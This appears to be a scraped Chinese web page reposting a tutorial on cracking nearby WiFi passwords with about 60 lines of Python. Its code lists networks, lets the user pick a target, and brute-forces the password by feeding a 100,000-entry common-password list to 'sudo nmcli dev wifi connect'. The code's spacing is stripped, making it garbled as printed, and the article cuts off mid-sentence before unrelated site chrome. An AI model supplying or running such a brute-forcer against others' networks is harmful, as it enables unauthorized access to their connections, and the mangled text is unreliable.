当前位置:首页 > TAG信息列表 > 无线网密码破解手机

无线网密码破解手机

无线网络密码破解方法(60行代码解锁WiFi密码)

程序员宝藏库:
https://github.com/jackpopc/cs-books-store

wifi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上wifi。

因此,我们对wifi密码的需求也没有之前那么迫切了。

如何破解wifi密码?

无线网络密码破解方法(60行代码解锁WiFi密码)

本文,将会通过python教大家如何实现,这里纯粹是为了学习用途。

1.wifi列表

首先,我们需要获取附近的wifi列表。

下面,就来写一个函数来获取附近的wifi列表,函数命名为display_targets:

defdisplay_targets(networks,security_type):print("selectatarget:\n")rows,columns=os.popen('sttysize','r').read().split()foriinrange(len(networks)):width=len(str(str(i+1)+"."+networks[i]+security_type[i]))+2spacer=""if(int(columns)>=100):calc=int((int(columns)-int(width))*0.75)else:calc=int(columns)-int(width)forindexinrange(calc):spacer+="."ifindex==(calc-1):spacer+=""print(str(i+1)+"."+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的wifi列表,存入到参数networks。

2.选择wifi

获取wifi列表之后,下一步要做的就是选择我们想要连接的wifi,

defprompt_for_target_choice(max):whiletrue:try:selected=int(input("\nenternumberoftarget:"))if(selected>=1andselected<=max):returnselected-1exceptexceptionase:ignore=eprint("invalidchoice:pleasepickanumberbetween1and"+str(max))

这里很简单,就是一些通用的python功能。

3.暴力破解

目前已经获取并且选择了想要连接的wifi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解。

这里,要用到github上一个项目,它收集了最常用的10万个wifi密码。我们就用着10万个密码暴力解锁wifi即可。

defbrute_force(selected_network,passwords,args):forpasswordinpasswords:#necessaryduetonetworkmanagerrestartafterunsuccessfulattemptatloginpassword=password.strip()#whenwhenobtainpasswordfromurlweneedthedecodeutf-8howeverwedoesntwhenreadingfromfileifisinstance(password,str):decoded_line=passwordelse:decoded_line=password.decode("utf-8")ifargs.verboseistrue:print(bcolors.header+"**testing**:withpassword'"+decoded_line+"'"+bcolors.endc)if(len(decoded_line)>=8):time.sleep(3)creds=os.popen("sudonmclidevwificonnect"+selected_network+"password"+decoded_line).read()#print(creds)if("error:"increds.strip()):ifargs.verboseistrue:print(bcolors.fail+"**testing**:password'"+decoded_line+"'failed."+bcolors.endc)else:sys.exit(bcolors.okgreen+"**keyfound!**:password'"+decoded_line+"'succeeded."+bcolors.endc)else:ifargs.verboseistrue:print(bcolors.okcyan+"**testing**:password'"+decoded_line+"'tooshort,passing."+bcolors.endc)print(bcolors.fail+"**results**:allpasswordsfailed:("+bcolors.endc)

核心功能3个%e


湖南旅游之家 高三学习网

  • 关注微信关注微信

猜你喜欢

微信公众号